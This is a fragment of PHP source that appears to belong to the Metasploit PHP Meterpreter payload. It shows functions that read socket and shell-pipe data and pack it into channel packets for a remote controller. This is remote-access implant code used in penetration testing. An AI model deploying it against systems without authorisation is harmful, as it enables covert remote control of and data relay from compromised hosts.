function read($resource, $len = null)
{
    global $udp_host_map;
    # Max packet length is magic.  If we're reading a pipe that has data but
    # isn't going to generate any more without some input, then reading less
    # than all bytes in the buffer or 8192 bytes, the next read will never
    # return.
    if (is_null($len)) {
        $len = 8192;
    }
    #my_print(sprintf("Reading from $resource which is a %s", get_rtype($resource)));
    $buff = '';
    switch (get_rtype($resource)) {
        case 'socket':
            if (array_key_exists((int) $resource, $udp_host_map)) {
                my_print("Reading UDP socket");
                list($host, $port) = $udp_host_map[(int) $resource];
                socket_recvfrom($resource, $buff, $len, PHP_BINARY_READ, $host, $port);
            } else {
                my_print("Reading TCP socket");
                $buff .= socket_read($resource, $len, PHP_BINARY_READ);
            }
            break;
        case 'stream':
            global $msgsock;
            # Calling select here should ensure that we never try to read from a socket
            # or pipe that doesn't currently have data.  If that ever happens, the
            # whole php process will block waiting for data that may never come.
            # Unfortunately, selecting on pipes created with proc_open on Windows
            # always returns immediately.  Basically, shell interaction in Windows
            # is hosed until this gets figured out.  See https://dev.metasploit.com/redmine/issues/2232
            $r = array($resource);
            my_print("Calling select to see if there's data on {$resource}");
            while (true) {
                $cnt = stream_select($r, $w = NULL, $e = NULL, 0);
                # Stream is not ready to read, have to live with what we've gotten
                # so far
                if ($cnt === 0) {
                    break;
                }
                # if stream_select returned false, something is wrong with the
                # socket or the syscall was interrupted or something.
                if ($cnt === false or feof($resource)) {
                    my_print("Checking for failed read...");
                    if (empty($buff)) {
                        my_print("----  EOF ON {$resource}  ----");
                        $buff = false;
                    }
                    break;
                }
                $md = stream_get_meta_data($resource);
                dump_array($md);
                if ($md['unread_bytes'] > 0) {
                    $buff .= fread($resource, $md['unread_bytes']);
                    break;
                } else {
                    #$len = 1;
                    $tmp = fread($resource, $len);
                    $buff .= $tmp;
                    if (strlen($tmp) < $len) {
                        break;
                    }
                }
                if ($resource != $msgsock) {
                    my_print("buff: '{$buff}'");
                }
                $r = array($resource);
            }
            my_print(sprintf("Done with the big read loop on {$resource}, got %d bytes", strlen($buff)));
            break;
        default:
            # then this is possibly a closed channel resource, see if we have any
            # data from previous reads
            $cid = get_channel_id_from_resource($resource);
            $c = get_channel_by_id($cid);
            if ($c and $c['data']) {
                $buff = substr($c['data'], 0, $len);
                $c['data'] = substr($c['data'], $len);
                my_print("Aha!  got some leftovers");
            } else {
                my_print("Wtf don't know how to read from resource {$resource}, c: {$c}");
                if (is_array($c)) {
                    dump_array($c);
                }
                break;
            }
    }
    my_print(sprintf("Read %d bytes", strlen($buff)));
    return $buff;
}
function handle_resource_read_channel($resource, $data)
{
    global $udp_host_map;
    $cid = get_channel_id_from_resource($resource);
    my_print("Handling data from {$resource}: {$data}");
    # Build a new Packet
    $pkt = pack("N", PACKET_TYPE_REQUEST);
    packet_add_tlv($pkt, create_tlv(TLV_TYPE_METHOD, 'core_channel_write'));
    $req_id = generate_req_id();
    if (array_key_exists((int) $resource, $udp_host_map)) {
        list($h, $p) = $udp_host_map[(int) $resource];
        packet_add_tlv($pkt, create_tlv(TLV_TYPE_PEER_HOST, $h));
        packet_add_tlv($pkt, create_tlv(TLV_TYPE_PEER_PORT, $p));
    }
    packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_ID, $cid));
    packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_DATA, $data));
    packet_add_tlv($pkt, create_tlv(TLV_TYPE_LENGTH, strlen($data)));
    packet_add_tlv($pkt, create_tlv(TLV_TYPE_REQUEST_ID, $req_id));
    # Add the length to the beginning of the packet
    $pkt = pack("N", strlen($pkt) + 4) . $pkt;
    return $pkt;
}